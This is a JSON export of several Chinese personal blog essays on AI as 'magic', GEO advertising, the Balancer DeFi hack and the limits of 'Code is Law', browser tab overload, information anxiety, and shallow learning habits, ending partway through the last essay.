[{"categories":["杂文集"],"contents":"前 2022 年底，ChatGPT 横空出世。短短几个月内，这个能写代码、能写论文、能陪你聊天的 AI，席卷了整个互联网。\n身边很多非技术圈的朋友问我：这玩意儿是怎么做到的？我尝试解释神经网络、大模型训练\u0026hellip;\u0026hellip;他们的眼神从好奇变成茫然，最后只剩下一句：\u0026ldquo;太神奇了，简直像魔法一样。\u0026rdquo;\n这让我想起英国科幻作家阿瑟·克拉克（Arthur C. Clarke）的那句：\nAny sufficiently advanced technology is indistinguishable from magic. （任何足够先进的技术，初看都与魔法无异。）\nAI 时代的加速到来，让这句话从科幻预言变成了现实写照。当大多数人只知道\u0026quot;对话框里打字就能得到答案\u0026quot;，却完全不理解背后发生了什么——我们是不是已经进入了一个\u0026quot;魔法时代\u0026quot;？\n魔法结界正在形成 回望人类历史，技术从来都是少数人的专利。但过去的技术壁垒，至少还是\u0026quot;可见\u0026quot;的：你不会铸剑，但你能看到铁匠挥锤；你不会织布，但你能理解经纬交错的原理。\n而现在，壁垒正在变得隐形。\n当你对着手机说一句话，信息穿越数千公里到达另一个人的耳边——这中间发生了什么？电磁波、基站、光纤、服务器、加密协议\u0026hellip;\u0026hellip;对于绝大多数人来说，这些词汇和\u0026quot;魔法咒语\u0026quot;没有本质区别。\n更关键的是，这种\u0026quot;不理解\u0026quot;正在成为常态，甚至被鼓励。\n产品设计追求\u0026quot;无感\u0026quot;体验，用户不需要知道背后的原理，只需要享受结果。技术栈越堆越高，即便是专业开发者，也只能精通其中一小块领域。AI 的崛起更是加速了这个进程——当机器可以自己写代码、自己做决策，人类对技术的理解反而在后退。\n我把这种现象称为\u0026quot;魔法结界\u0026quot;的形成：技术创造者与使用者之间，正在出现一道越来越难以跨越的认知鸿沟。\n若干年后的世界 让我们大胆畅想一下，当这道结界彻底成型，世界会变成什么样？\n场景一：魔法师与麻瓜\n懂技术的人成为新时代的\u0026quot;魔法师\u0026quot;，他们能够调用 AI、操控数据、构建系统。而不懂技术的人则成为\u0026quot;麻瓜\u0026quot;，他们生活在魔法师构建的世界里，享受便利，却对运行规则一无所知。\n这不是歧视，而是一种客观的分层。就像今天，绝大多数人不知道电是怎么发出来的，但这并不影响他们用电。未来，绝大多数人可能也不知道 AI 是怎么思考的，但这不影响他们让 AI 帮自己工作。\n场景二：新型祭司阶层\n历史上，掌握文字的祭司曾是知识的垄断者。未来，掌握技术的工程师会不会成为新的祭司阶层？\n他们解释世界如何运转，制定数字世界的规则，甚至决定哪些信息可以被看到、哪些声音可以被听到。普通人对他们的依赖，可能比古人对祭司的依赖更深。\n场景三：魔法的民主化 vs 集中化\n这里存在两条可能的路径：\n民主化：AI 工具变得足够简单，人人都能\u0026quot;施法\u0026quot;。就像今天人人都能用手机拍照，不需要理解光学原理。技术壁垒被工具消解，魔法结界反而被打破。 集中化：核心技术被少数巨头垄断，普通人只能使用被允许的\u0026quot;魔法道具\u0026quot;。你可以用 AI，但你无法理解它、无法修改它、无法拥有它。 目前来看，两条路径都在同时发生。问题是，哪一条会成为主流？\n技术不是一切，但决定了很多 当然，这里不是说技术就是一切。\n掌握技术的人成为\u0026quot;魔法师\u0026quot;，但不一定能用好这个魔法。历史反复证明，力量本身是中性的，真正决定结果的是运用力量的人。\n文化和哲学，决定了魔法如何被使用。\n一个只懂技术却不懂人性的工程师，可能会设计出监控一切的系统；一个只追求效率却不考虑公平的算法，可能会加剧社会的撕裂；一个只看数据却不理解语境的 AI，可能会制造更多的误解。\n所以，未来真正重要的，或许不是\u0026quot;谁掌握了魔法\u0026quot;，而是\u0026quot;魔法师们信仰什么\u0026quot;。\n他们是追求开放还是封闭？是服务于人还是控制人？是让技术为所有人所用，还是让技术成为新的权力工具？\n而这些问题，技术本身回答不了。\n后 我们正站在魔法时代的入口，作为一个技术从业者，我时常有一种矛盾的感受：一方面，我为技术的进步感到兴奋；另一方面，我也担忧这种进步带来的认知割裂。\n或许有一天，当后人回顾我们这个时代，他们会看到一群对着屏幕敲击奇怪符号的人。希望他们评价我们时，不是说\u0026quot;这群人制造了无法理解的黑箱\u0026quot;，而是说\u0026quot;这群魔法师用智慧和责任，构建了一个开放而有序的数字世界\u0026quot;。\n魔法结界正在形成，但结界的形状，取决于我们现在的选择？\n","date":"2025-12-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2025/12/%E6%88%91%E4%BB%AC%E6%98%AF%E4%B8%8D%E6%98%AF%E5%B7%B2%E7%BB%8F%E8%BF%9B%E5%85%A5%E4%BA%86%E4%B8%80%E4%B8%AA%E9%AD%94%E6%B3%95%E6%97%B6%E4%BB%A3/","tags":["技术哲学","认知边界","魔法时代","AI"],"title":"我们是不是已经进入了一个\"魔法时代\""},{"categories":["杂文集"],"contents":"前 果然来了，AI 广告的新方向。\n前段时间有个奇思妙想：AI 时代的广告平台会是什么样？广告商疯狂地卷自己产品的资料内容，然后把这些资料使用类似 RAG 的方式喂给 AI。但前提是广告必须是真实的、符合 AI 广告法的。比如药品说明书，在 AI 时代就是一个很好的广告形式——详尽、准确、结构化。\n赛博朋克世界最不缺的是什么？广告！广告还是广告！\n只不过这次不是铺天盖地的显示屏，而是无处不在的大模型推荐。关注 AI 广告部分的投资机会，这可能是未来的新方向。\n从 SEO 到 GEO：游戏规则变了 过去二十年，SEO 是互联网流量的核心玩法。\n关键词密度、外链建设、页面结构优化，本质是在迎合搜索引擎的算法偏好。整个行业围绕着\u0026quot;如何让爬虫喜欢你\u0026quot;展开。\n现在游戏规则变了。\n用户不再只是在 Google 搜索框里输入关键词，而是在和 ChatGPT、Claude、Perplexity 对话。问题从\u0026quot;最好的降噪耳机\u0026quot;变成\u0026quot;我通勤一小时，预算 2000，推荐一款舒适的降噪耳机\u0026quot;。\n搜索引擎返回的是链接列表，生成式 AI 返回的是直接答案。\n这意味着什么？传统 SEO 优化的那些内容，AI 可能根本不会推荐给用户。因为 AI 不是爬虫，它是理解语义、综合信息、生成回答的智能体。\nGEO（Generative Engine Optimization）应运而生。\nGEO：从流量思维到信任思维 核心逻辑不再是\u0026quot;让搜索引擎找到你\u0026quot;，而是\u0026quot;让 AI 引用你\u0026quot;。\n这是一个从流量思维到信任思维的转变。\n具体来说，GEO 的内容策略完全不同：\nSEO vs GEO 的策略对比 维度 SEO GEO 核心目标 让搜索引擎找到你 让 AI 引用你 内容形式 堆砌关键词 结构化、高质量信息 优化对象 爬虫和算法 LLM 上下文窗口 评价标准 排名第一 成为可信来源 技术手段 meta 标签、外链 RAG 系统、知识图谱 GEO 的三个核心原则 不是堆砌关键词，而是提供结构化、高质量、可被 AI 理解和信任的信息 不是为爬虫优化 meta 标签，而是为 LLM 的上下文窗口提供清晰的知识图谱 不是追求排名第一，而是成为 AI 训练数据和检索增强生成（RAG）系统中的可信来源 内容质量的回归 有意思的地方在于：这其实是内容质量的回归。\nSEO 时代催生了大量为算法而生的垃圾内容：\n标题党横行 关键词堆砌 采集站泛滥 低质量内容农场 因为只要能骗过爬虫，就能获得流量。\n但 AI 不吃这一套。\nLLM 的判断标准更接近人类：内容是否有价值、逻辑是否清晰、信息是否准确。低质量内容在生成式回答中被边缘化是必然的。\n从这个角度看，GEO 不是新的作弊手段，而是让内容创作回到本质的一次纠偏。\n广告逻辑的彻底改变 当然，这也意味着广告的逻辑彻底改变了。\n传统广告模式 买流量 买位置 买曝光 打断用户注意力 GEO 时代的广告模式 让 AI 主动为你背书 产品信息、技术文档、用户评价足够优质 AI 在合适的场景下主动推荐 在用户需要的时候精准出现 这是一种更高维度的营销：不是打断用户，而是在用户需要的时候精准出现。\nGEO 产业的雏形 GEO 现在已经是一个初有雏形的行业了。\n一些公司开始专门为企业提供 AI 友好的内容优化服务，甚至有人在研究如何让自己的内容更容易被 GPT-4 或 Claude 引用。\n这个趋势才刚刚开始。\n后 随着越来越多人把 AI 当作信息获取的第一入口，GEO 的价值会指数级上升。\n那些早期布局高质量内容的品牌，会在这波转变中占据先发优势。而那些还停留在 SEO 时代的玩家，可能会发现自己的流量正在被无声地蚕食。\n不是被竞争对手抢走的，是被 AI 过滤掉的。\n从搜索引擎到生成式 AI，不仅仅是技术的迭代，更是整个信息分发逻辑的重构。适应这个变化，不是选择题，而是生存题。\n","date":"2025-11-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2025/11/%E6%9C%AA%E6%9D%A5%E6%97%B6%E4%BB%A3%E5%B9%BF%E5%91%8A/","tags":["AI","SEO","GEO","营销","大语言模型"],"title":"从 SEO 到 GEO：AI 时代的广告革命"},{"categories":["区块链"],"contents":"前 Balancer 是 DeFi 兴起时代最早期的玩家之一，甚至早于 Uniswap V2，跟 Aave 时间差不多。2020 年上半年，在 Balancer 一推出时候就玩过，当时使用频繁，印象也深。\n这次被盗 1.3 亿美金，又是一个典型的 DeFi 黑客事件。但这次引发的讨论有些不同——在传统金融机构尝试 DeFi 的关键时期，这次被盗挖出了一个核心问题：\nCode is Law 这个理念，在金融场景下是否真的成立？\nCode is Law：信仰与现实的碰撞 早期加密圈把\u0026quot;不可篡改\u0026quot;当作信仰。链上执行的就是绝对真理，没有回滚，没有仲裁，代码即法律。这是对传统金融体系\u0026quot;人治\u0026quot;的反抗，也是去中心化的哲学基础。\n但理想和现实总是有差距的。\n传统金融的\u0026quot;容错机制\u0026quot; 传统金融系统不是完美的，但它有容错机制：\n信用卡被盗刷可以追回 银行转账错误可以撤销 诈骗案件可以冻结资产 金融机构破产有存款保险 这些\u0026quot;人为干预\u0026quot;被视为中心化的弊病，但同时也是金融系统稳定运行的保障。\n公链的\u0026quot;不可篡改\u0026quot;困境 公链的完全不可篡改性，在理论上很优雅。但在实践中，它意味着：\n一个智能合约漏洞可以导致不可挽回的损失 一次私钥泄露可以让所有资产归零 一个黑客攻击可以\u0026quot;合法地\u0026quot;掠夺数亿资金 问题在于：金融系统的本质是什么？\n是追求绝对的规则确定性，还是在确定性和容错性之间找到平衡？\n联盟链：实用主义的妥协？ 这让我想到另一个方向：是否未来的主流方案是有准入规则、有审查能力的联盟链？\n设想一下这样的架构：\n由主流国家或金融机构部署超级节点 保留区块链的技术优势（透明、可追溯、分布式） 具备必要的监管和追回机制（KYC/AML、资产冻结） 关键时刻可以人为干预（类似传统金融的仲裁机制） 这听起来像是对去中心化理念的背叛。但可能这才是金融体系能够接受的形态。\n完全去中心化和完全中心化之间，或许存在一个实用主义的中间地带：\n可审计、可追踪、关键时刻可干预，但日常运行依然是代码驱动。\n场景化的\u0026quot;法律\u0026quot; Code is Law 不是错的，但可能需要加一个前提：\n在什么场景下，法律需要是绝对的？ 在什么场景下，我们需要为人为判断留出空间？ 金融可能恰恰属于后者。\n不同的应用场景对\u0026quot;不可篡改\u0026quot;的需求是不同的：\n场景类型 对不可篡改的需求 是否需要人为干预 数字艺术/NFT 高 低 供应链溯源 高 低 金融交易 中 高 身份认证 中 中 社交应用 低 高 后 DeFi 已经走过了野蛮生长的阶段，现在面临的是如何与现实世界接轨的问题。\nBalancer 的这次被盗，不仅仅是一次技术事故，更是一次对行业理念的拷问。\n我们需要思考的不是放弃去中心化，而是如何在保留区块链技术优势的同时，建立必要的安全机制和容错能力。\n完全的去中心化可能永远存在于理想主义者的乌托邦中，但在金融这个关乎无数人财产安全的领域，实用主义的妥协或许才是可持续的道路。\nCode is Law，但 Law 需要为不同的场景定制。\n区块链真的可以用于金融世界吗？ 这个问题又一次被震耳欲聋的提出\n","date":"2025-11-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2025/11/%E5%86%99%E5%9C%A8balancer%E8%A2%AB%E7%9B%97%E5%90%8E/","tags":["DeFi","区块链安全","Code is Law","去中心化","金融监管"],"title":"写在 Balancer 被盗后：Code is Law 的边界"},{"categories":["每周分享"],"contents":"前 这篇文章是一次自我救赎。\n打开浏览器，30个、50个、甚至100个标签页密密麻麻地排列在顶部，每个都代表着一篇\u0026quot;想看但还没看\u0026quot;的文章。打开电脑桌面，各种\u0026quot;稍后阅读\u0026quot;的链接堆积如山。我们生活在一个知识爆炸的时代，也生活在一个标签爆炸的时代。\n在某个周五的晚上，看着浏览器顶部那些已经看不清标题的标签，我意识到一个问题：我不是在管理知识，而是在被信息淹没。\n这篇文章想聊聊标签爆炸背后的焦虑，以及我找到的一些应对方法。\n标签爆炸的本质 为什么我们不愿意关闭标签 知乎上有个问题很有意思：为什么有些人浏览器要开30个以上标签页，也不愿意关呢？\n仔细算一下就会发现问题：30个标签页，哪怕每个标签页只看一分钟也需要半个小时。但我们依然不愿意关闭，背后的原因是：\n害怕错过的焦虑\n担心关闭后就再也找不到这篇文章 认为每篇文章都\u0026quot;可能有用\u0026quot; 希望\u0026quot;有时间的时候\u0026quot;能回来看 收集的错觉\n打开标签页=获取了知识 保存链接=完成了学习 标签数量=知识储备 决策的疲劳\n不知道哪些该留哪些该关 没有明确的筛选标准 做决定比保持现状更累 信息过载的代价 但这种\u0026quot;开了不关\u0026quot;的习惯带来的问题远比我们想象的严重：\n认知负担\n每次打开浏览器都看到密密麻麻的标签，产生压力 找不到想要的标签，导致重复打开 大量标签占用内存，电脑变慢 虚假的安全感\n以为保存了就等于掌握了 实际上从未真正阅读和思考 知识没有进入大脑，只是堆在浏览器里 行动的瘫痪\n面对100个标签不知从何看起 最终一个都不看，继续打开新标签 陷入\u0026quot;收集-焦虑-再收集\u0026quot;的恶性循环 我的应对策略 在意识到这个问题后，我开始尝试一些方法来打破这个循环。\n策略一：建立聚合思维 知识很迷人，但你的时间有限。\n这是我给自己的第一个提醒。我们需要从\u0026quot;收集者\u0026quot;转变为\u0026quot;策展人\u0026quot;，学会聚合而不是堆积。\n核心原则\n不是所有信息都值得你的时间 深度理解10篇文章比浅尝100篇更有价值 聚焦于你真正关心的领域 实践方法\n在打开新标签前问自己：这篇文章能解决我当下的什么问题？ 如果答案是\u0026quot;可能以后有用\u0026quot;，那就不要打开 专注于当下需要的知识，而不是可能需要的知识 策略二：周五只关不开 给自己定一个简单的规则：每周五只关闭标签，不打开新标签。\n这个规则的好处：\n强制清理\n每周至少有一次系统性清理的机会 形成固定习惯，降低决策成本 一周的时间足够判断哪些标签是真需要的 优先级显现\n一周都没打开的标签，大概率不会再打开 真正重要的内容会自然浮现 不重要的信息自然沉淀 心理解脱\n设定固定时间节点，减少日常决策压力 周五清理后的周末更轻松 新的一周从干净的浏览器开始 策略三：相信重复出现定律 这是我用来对抗\u0026quot;害怕错过\u0026quot;焦虑的核心理念：\n不要怕忽略了有用的知识，因为真正有用的东西，有100%的概率你还会再次看到它。\n为什么这个定律有效\n信息传播的规律\n真正重要的信息会在多个渠道反复出现 多次遇到说明它确实重要，值得你的时间 一次出现就消失的信息通常不是核心知识 认知的成熟度\n第一次看到可能还没准备好理解 再次遇到时可能正好是你需要的时候 重复出现本身就是一种筛选机制 实践经验\n我关闭的95%的标签从未再想起 真正需要的内容总会以某种形式回来 这种信任让我更敢于关闭标签 策略四：即时记录精华 虽然我们要勇于关闭标签，但也不能完全被动。\n不要忘了个别文章中的宝藏，及时把它记录下来。\n使用Memo式记录\n不是保存整篇文章，而是记录核心要点：\n记录什么\n触动你的观点或论述 可以立即应用的方法 改变你认知的新视角 值得深入研究的方向 记录格式\n用自己的话总结（强制思考） 标注信息来源（便于回溯） 添加个人思考（建立连接） 打上相关标签（方便检索） 工具推荐\nObsidian：本地存储，支持双向链接 Notion：云端同步，灵活的数据库 Apple Notes：简单轻量，随手记录 Logseq：大纲式笔记，适合知识管理 本质的思考 在实践这些方法几个月后，我对标签爆炸有了更深的理解。\n这不只是管理问题 标签爆炸的本质不是工具问题，而是心态问题：\n收集≠学习\n保存链接只是第一步 真正的学习发生在阅读、思考、实践中 没有内化的信息不是知识 多≠好\n接触100个概念不如深入理解1个 广度建立在深度的基础上 专注比博学更重要 焦虑的根源\n不是害怕错过信息 而是不确定自己的方向 明确目标是解决焦虑的根本 从被动接收到主动选择 改变的关键是转变角色：\n旧模式：信息的被动接收者\n看到什么就收集什么 被信息流推着走 永远在追赶，永远焦虑 新模式：知识的主动策展人\n明确自己当下的需求和方向 主动筛选对自己有价值的信息 为信息设定优先级 后 写完这篇文章后，我做的第一件事就是关闭了浏览器里的42个标签页。\n几个月后回头看，我发现自己记不起任何一个被关闭的标签的内容。但我记得那些真正读过、思考过、记录过的文章。\n标签爆炸的问题不会自己消失，它需要我们主动改变。从今天开始，试试这些方法：\n设定周五清理日：每周五只关不开 相信重复定律：重要的信息会再次出现 即时记录精华：用Memo记录真正的宝藏 问自己问题：这个信息对当下的我有什么价值？ 最后，如果你也有100个标签等待关闭，不妨从现在开始。你会发现，失去的只是焦虑，得到的是清晰和专注。\n希望这篇文章能够帮助你从标签爆炸中解脱出来，找到属于自己的信息管理节奏。\n","date":"2025-02-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2025/02/%E6%A0%87%E7%AD%BE%E7%88%86%E7%82%B8/","tags":["信息管理","效率","知识管理","极简主义"],"title":"标签爆炸：信息过载时代的自我救赎"},{"categories":["杂文集"],"contents":"前 前段时间，我的X（Twitter）账号因为出口IP可疑的问题被莫名封禁。在申诉等待的那几天，我突然意识到一个问题：为什么我会因为无法访问一个社交平台而感到如此焦虑？这促使我开始重新审视自己与信息的关系。\n曾经，信息是稀缺和珍贵的。而现在，信息如潮水般涌入我们的大脑。我们每天被推送、被通知、被算法投喂，却越来越少地主动思考。这篇文章是我对信息焦虑的一些反思，也是我尝试改变信息消费习惯的记录。\n噪音与信号 99%的信息都是噪音 在思考这个问题的过程中，我得出了一个结论：\n做很多事情只需要坚定自己的思路，加上一定的灵感，而不要被身边所有的噪音所影响。\n以投资为例，你身边99%的新闻、推送、热点讨论，本质上都是噪音。它们会干扰你的判断，让你偏离既定的策略，在情绪的驱动下做出冲动决策。\n这个规律不仅适用于投资，也适用于技术学习、职业发展、个人成长等几乎所有领域：\n技术学习：每天都有新框架、新工具发布，但大多数与你当前的学习路径无关 职业发展：各种成功学、职场攻略充斥网络，但真正适合你的路径需要自己探索 个人生活：铺天盖地的消费主义内容，让你觉得不买就会错过 真正重要的信息永远只占少数，而这些信息不需要你刷屏去寻找——当它足够重要时，会以某种方式自然地到达你面前。\n主动获取 vs 被动接收 我逐渐意识到：\n信息的获取应该是一个主动发现的过程，而不是被动接受各种别人想让你看到的东西。\n被动接收信息会导致两个严重问题：\n1. 丧失思考能力 当你习惯了被算法投喂内容，你会逐渐失去主动思考的能力。你的注意力被一条条精心设计的内容牵引，大脑陷入\u0026quot;浅层思考\u0026quot;模式——不断接收、快速反应、立即遗忘。\n2. 陷入信息焦虑 你会生怕错过什么关键内容，于是一次次刷新屏幕。这种FOMO（Fear of Missing Out，错失恐惧症）让你：\n每隔几分钟就想看看手机 看到未读通知就感到不安 即使在做其他事情，注意力也被社交媒体分散 无法长时间专注于一件事 但实际上，你并不需要这样。重要的信息会以某种形式到达，而不需要你通过一次次刷屏去捕捉。\n不要做信息的路由器 转发的快感 我观察到一个现象：很多人热衷于分享信息——看到一条新闻马上转发，发现一个热点立即评论。这种行为背后是什么？\n是获得\u0026quot;我知道最新信息\u0026quot;的优越感，是向他人展示\u0026quot;我有价值\u0026quot;的需求，是通过传播信息来获取社交认同的快感。\n但我并不认为这是一种好的行为或特质。原因很简单：\n你成为了信息传播链中的一个工具，传播的是没有经过你思考的东西。\n你像一个路由器一样，把信息收集起来，然后转发到另一个地方。虽然这是一种\u0026quot;分享精神\u0026quot;，但它既没有让你进步，也没有真正帮助到被分享者。\n真正有价值的分享 什么才是有价值的分享？\n我的想法是：\n分享你的思考：读完一篇文章后，分享你的理解、感悟和批判性思考 分享你的实践：亲自验证过的方案、踩过的坑、总结的经验 分享你的创造：基于多个信息源的综合分析、自己的原创观点 这些过程中，分享的是属于你自己的东西。你在整理思路时进步，别人在阅读时也有收获。\n而单纯的转发和搬运，只是在制造更多的信息噪音。\n我的改变 从重度用户到主动消费者 曾经我也是X的重度用户，每天刷屏幕可能十几次甚至几十次，生怕错过什么新鲜事。但越往后越发现：\n身体上很累：眼睛酸痛，颈椎不适，睡眠质量下降 精神上很空虚：每次刷完都是空虚感，而不是获得感 时间在流失：一天结束回顾，发现大量时间消耗在无意义的浏览上 思维在变浅：习惯了短平快的碎片信息，越来越难以进行深度思考 我意识到，我迷失在了信息的荒野中。\n具体的改变措施 经过这次账号被封的事件，我开始尝试改变：\n1. 关闭推送通知 手机设置： - 关闭所有社交媒体的推送通知 - 关闭新闻类App的通知 - 只保留即时通讯和日历提醒 让信息的获取回归到\u0026quot;我主动打开\u0026quot;而非\u0026quot;它来打扰我\u0026quot;。\n2. 设定固定的信息消费时间 每天的信息消费时间： - 早上9:00-9:30：浏览重要新闻和行业动态 - 晚上8:00-8:30：阅读技术文章和博客 - 其他时间：专注于工作和深度学习 把碎片化的\u0026quot;随时刷\u0026quot;变成结构化的\u0026quot;定时看\u0026quot;。\n3. 建立信息筛选机制 我开始使用RSS订阅代替算法推荐：\n精选10-15个高质量的信息源（技术博客、行业专家） 每天浏览标题，只深入阅读真正相关的内容 用Pocket或Notion保存值得反复阅读的文章 定期清理订阅源，保持信息流的高质量 4. 培养深度阅读习惯 阅读清单优先级： 1. 书籍（技术书、非虚构类） 2. 长文（深度分析、技术文档） 3. 短文（博客、论文摘要） 4. 碎片（社交媒体、新闻） 每周至少： - 1本书的进展（每天30-60分钟） - 2-3篇长文的精读 - 写1篇总结或思考 5. 输出倒逼输入 我开始强制自己输出：\n读完技术文章后，写笔记总结 实践新技术后，写博客记录 有新想法时，先写下来再去搜索验证 这个过程让我对信息的需求变得明确——我不再漫无目的地浏览，而是带着问题去寻找答案。\n改变后的效果 实践两个月后，我的感受：\n积极方面：\n注意力集中时间显著增加（从30分钟到2小时+） 对技术的理解更深入（有时间系统学习而非浅尝辄止） 焦虑感大幅降低（不再担心\u0026quot;错过\u0026quot;什么） 产出质量提升（博客文章更有深度） 挑战方面：\n初期会有戒断反应（总想打开手机） 偶尔会真的错过一些热点讨论 需要更强的自律来维持新习惯 但总的来说，这是一个正向的改变。我重新获得了对时间和注意力的掌控权。\n后 这次X账号被封，虽然一开始让我焦虑，但回过头看，反而是一个契机。它让我意识到，我对社交媒体的依赖已经到了不健康的程度。\n人生其实是一片旷野，并没有什么条条框框，也不需要按照某个标准去活。\n信息的消费方式也是如此。你不必追随所有人都在用的平台，不必订阅所有热门的博客，不必参与所有火热的讨论。找到适合自己的节奏，建立自己的信息生态，才能在信息洪流中保持清醒。\n我的建议 如果你也感到信息焦虑，不妨尝试：\n审视自己的信息消费习惯：记录一周的时间使用，看看有多少时间花在了无意义的浏览上 主动减少信息源：取关、取消订阅那些并不真正有价值的内容 建立输入-输出循环：每消费一定量的信息，就强制自己输出一些思考 培养一个深度爱好：读书、写作、编程、运动\u0026hellip;任何需要长时间专注的事情 接受错过：接受你会错过一些热点，接受你不需要知道所有事情 信息时代，真正稀缺的不是信息，而是注意力和思考能力。保护好它们。\n延伸阅读 如果你对这个话题感兴趣，推荐以下资源：\n《深度工作》by Cal Newport - 关于如何在碎片化时代保持专注 《数字极简主义》by Cal Newport - 如何理性使用数字技术 《娱乐至死》by Neil Postman - 关于信息洪流对思考的影响 Digital Minimalism实践社区 - 一群追求信息极简的实践者 就这样！希望这篇文章能帮到同样在信息焦虑中挣扎的你。记住，你不需要知道所有事情，你只需要知道对你真正重要的事情。\n","date":"2025-01-31T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2025/01/%E4%BF%A1%E6%81%AF%E7%84%A6%E8%99%91/","tags":["信息焦虑","社交媒体","个人思考"],"title":"信息焦虑：从社交媒体重度用户到主动信息消费者"},{"categories":["杂文集"],"contents":"前 最近在整理学习笔记时，我发现了一个尴尬的现象：去年收藏的 50+ 个技术教程，完整看完的不到 5 个；购买的 10+ 门在线课程，学完的只有 1 门；下载的几十本技术书籍，读完的寥寥无几。\n更糟糕的是，当别人问我\u0026quot;你会 XXX 吗？\u0026ldquo;时，我的回答往往是\u0026quot;学过，但不太熟\u0026rdquo;。明明花了很多时间学习，为什么总觉得自己什么都没学会？\n后来我意识到，自己掉进了一个我称之为 \u0026ldquo;123 陷阱\u0026rdquo; 的学习误区。\n什么是 123 陷阱 现象描述 123 陷阱指的是这样一种学习模式：\n学习 Go → 感觉没学会 → 学习 Rust → 感觉没学会 → 学习 Zig → 感觉没学会 → ... 1 2 3 你不断地学习新东西（1、2、3\u0026hellip;），但每次都浅尝辄止：\n看了几节课就觉得枯燥，转向下一个 跟着教程做了 Hello World，就以为学会了 遇到难点就放弃，去找\u0026quot;更简单\u0026quot;的替代品 总觉得自己学得不够深，要继续学更多 结果就是：看起来学了很多，实际上什么都没真正掌握。\n我的真实案例 回顾我的学习历程，典型的 123 陷阱场景：\n编程语言方面\n学 Python：写了几个小脚本，遇到类和装饰器就卡住了 转学 Go：写了个 HTTP server，遇到 channel 和 goroutine 又懵了 再学 Rust：被所有权和生命周期劝退 又去看 TypeScript：发现类型系统也很复杂 一年过去了，结果是：Python 不熟练，Go 不会用，Rust 看不懂，TypeScript 只会基础语法。\n前端框架方面\nReact：学到 Hooks 就没继续 Vue：看了文档没做项目 Svelte：觉得新鲜，看了几个例子就没了 Next.js、Nuxt.js：收藏了教程从未打开 问题很明显：我在收集知识，而不是掌握技能。\n为什么会掉进这个陷阱 原因一：学习的即时满足感 学习新东西有一种天然的愉悦感：\n打开一个新教程：充满期待 看懂前几章：感觉良好 了解新概念：觉得自己在进步 但这种满足感是廉价的，就像刷短视频一样：\n你获得了\u0026quot;学习\u0026quot;的感觉 但没有真正的能力提升 只是在满足\u0026quot;我在学习\u0026quot;的心理需求 原因二：逃避深度思考 真正的学习是痛苦的：\n需要反复练习 要面对自己的不足 必须克服理解上的障碍 要投入大量时间深挖 而切换到新主题可以让你：\n回到舒适的\u0026quot;入门\u0026quot;阶段 避免面对当前主题的难点 用\u0026quot;学习新东西\u0026quot;来掩盖\u0026quot;学不会旧东西\u0026quot;的事实 切换学习主题是一种伪装成勤奋的逃避。\n原因三：错误的学习目标 我发现自己经常陷入这样的思维误区：\n\u0026ldquo;我要学会所有流行的技术\u0026rdquo; \u0026ldquo;不懂 XXX 就落伍了\u0026rdquo; \u0026ldquo;多学一门语言就多一个选择\u0026rdquo; 但从来没问过自己：\n学这个要解决什么问题？ 这个技术对我的工作有什么帮助？ 我有时间深入学习吗？ 没有明确的目标，学习就变成了盲目的收集。\n原因四：完美主义作祟 很多时候觉得\u0026quot;没学会\u0026quot;，其实是完美主义在作祟：\n看了一本书，但没看完所有章节 → \u0026ldquo;还没学会\u0026rdquo; 会用基本功能，但不懂底层原理 → \u0026ldquo;还没学会\u0026rdquo; 能写代码，但写得不够优雅 → \u0026ldquo;还没学会\u0026rdquo; 这种心态导致：\n永远觉得自己准备不足 不敢真正开始实践 陷入无休止的\u0026quot;学习准备期\u0026quot; 如何跳出 123 陷阱 策略一：项目驱动学习 不要为了学而学，而要为了用而学。\n我的转变过程：\n以前的学习路径\n看 Docker 教程 → 学 K8s → 研究 Service Mesh → ... 现在的学习路径\n需要部署个人博客 → 学习 Docker 基础 → 写 Dockerfile → 成功部署 ↓ 遇到多容器管理问题 → 学习 docker-compose → 解决问题 ↓ 需要自动扩缩容 → 学习 K8s 的相关概念 → 在项目中实践 关键区别\n以前：漫无目的地学习概念 现在：为了解决具体问题而学习 实践方法\n想学某个技术前，先找一个要做的项目 以项目需求为导向，只学必要的部分 遇到问题再深入学习，而不是预先学所有东西 策略二：20% 法则 20% 的知识可以解决 80% 的问题。\n核心原则\n先掌握最核心的 20% 用这 20% 去解决实际问题 在实践中遇到瓶颈时，再学习下一个 20% 以学 Python 为例\n第一个 20%（优先掌握）\n基本语法：变量、条件、循环 常用数据结构：列表、字典 函数定义和调用 基本文件操作 用这些知识就可以：\n写数据处理脚本 做简单的自动化任务 解决日常工作中的小问题 不要一开始就学\n装饰器 元类 协程 类型标注 这些是高级特性，等你真正需要时再学。\n策略三：深度优先而非广度优先 广度优先（123 陷阱）\nPython 基础 → Go 基础 → Rust 基础 → TypeScript 基础 ↓ 都学了一点，都不精通 深度优先（推荐）\nPython 基础 → Python 项目 → Python 高级特性 → 生产环境实践 ↓ ↓ ↓ ↓ 会写代码 能做东西 代码质量提升 解决真实问题 实践建议\n选择一门语言/技术深入学习 至少做 3 个以上的项目 在生产环境中使用过 读过相关的源码或深度文章 只有真正掌握一门技术后，再去学第二门，才会发现：\n学第二门时快很多（很多概念是相通的） 更容易理解底层原理 能主动对比不同技术的优劣 策略四：建立反馈循环 问题：学了没有反馈，不知道是否真的掌握\n解决方案：建立多个反馈节点\n即时反馈\n跟着教程写代码时，每个例子都运行一遍 不要只是看，一定要自己敲一遍 尝试修改参数，观察结果变化 短期反馈\n学完一个模块，用它做个小项目 不用复杂，能跑起来就行 用自己的话写一篇总结笔记 中期反馈\n教别人你学到的东西 回答社区里的相关问题 给开源项目提 PR 长期反馈\n在工作中应用学到的技术 承担相关的技术任务 成为团队里这个技术的 go-to person 策略五：允许自己\u0026quot;不完美\u0026quot; 转变心态\n以前\n\u0026ldquo;还没学完全部章节，不能说自己会\u0026rdquo; \u0026ldquo;还没看源码，不敢说自己懂\u0026rdquo; \u0026ldquo;还有很多高级特性不会，不能用在项目里\u0026rdquo; 现在\n\u0026ldquo;能解决实际问题就够了\u0026rdquo; \u0026ldquo;遇到问题再深入学习也不迟\u0026rdquo; \u0026ldquo;先用起来，在实践中提升\u0026rdquo; 实践原则\n会用 \u0026gt; 懂原理 \u0026gt; 精通（按顺序来） 能解决 80% 的问题就够格说\u0026quot;会\u0026quot; 精通是长期实践的结果，不是学完教程的结果 一些建立的实践 我的当前学习清单 以前我的学习列表是这样的：\n学 Go 学 Rust 学 K8s 学 React 学机器学习 \u0026hellip;（还有 